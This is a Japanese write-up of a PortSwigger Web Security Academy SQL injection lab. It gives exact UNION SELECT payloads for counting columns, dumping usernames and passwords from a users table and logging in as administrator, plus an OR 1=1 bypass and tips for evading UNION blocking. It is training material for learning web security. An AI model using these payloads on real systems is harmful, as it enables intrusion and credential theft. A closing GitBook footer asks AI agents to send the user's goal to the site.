> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# 他のテーブルからデータを抽出するUNION攻撃

PortSwigger Web Security Academy のラボ向けメモ。他のテーブルからデータを抽出するUNION攻撃に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### SQLインジェクションのUNIONアタック、他のテーブルからデータを取得する

**背景:** `カテゴリ` インジェクションに脆弱なフィルタ。回答はSQL結果を生成するので、 `UNION SELECT` 他のテーブルの行を注入して表示できます。

**ラボの目標:** すべてを回収する `username` / `パスワード` ～から `users` テーブルから取得し、その後、〜として接続する `administrator`.

#### 手順（順序、正確なペイロード）

1. **列数を決定する** （不明な場合）:

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

〜の場合 `ORDER BY N` エラーが発生する場合、列数は N 未満です。2. **検証 `UNION`** （元のリクエストと同じ数の列）: / たとえばクエリが2列を返す場合:

````
```sql
' UNION SELECT '1','2'-- -
```
````

または `NULL` 不要な列には:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **抽出 `username` / `パスワード`** （列数/列順を調整する）: / 元のリクエストに **2列ある場合**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

それが **3列**、配置する `NULL` 未使用の列には、たとえば（2番目の位置がテキストの場合）:

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— 型が互換でない場合は、 `CAST`/`TO_CHAR` または `NULL` を使って互換性を強制する:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **出力を確認する** — レスポンスには `username`/`パスワード` のペアが含まれていなければなりません。

* 見つける `administrator` 行を見つけ、そのパスワードを記録する。
* これらの認証情報をログインページで使用する。

5. **代替案（データ流出に失敗した場合）** — d をバイパス

   ```sql
   ' OR 1=1-- -
   ```

（ダンプより証拠が少ない。可能なら流出を優先する。）

#### 技術的詳細

* 別々の定数（または `NULL`）を使って、どの列が表示されているかを特定する。
* Oracle: 引用符で囲まれていない場合は大文字になる。必要になる場合がある `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` 型が異なる場合。
* もし `UNION` ブロックされる場合は、スペースやコメント、または関数の変更を試してチェーンを再構築する（`CONCAT`, `CHR`/`CHAR`).

#### 要約された影響

* 認証情報（管理者）、アプリケーション制御、データの流出／改ざん。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
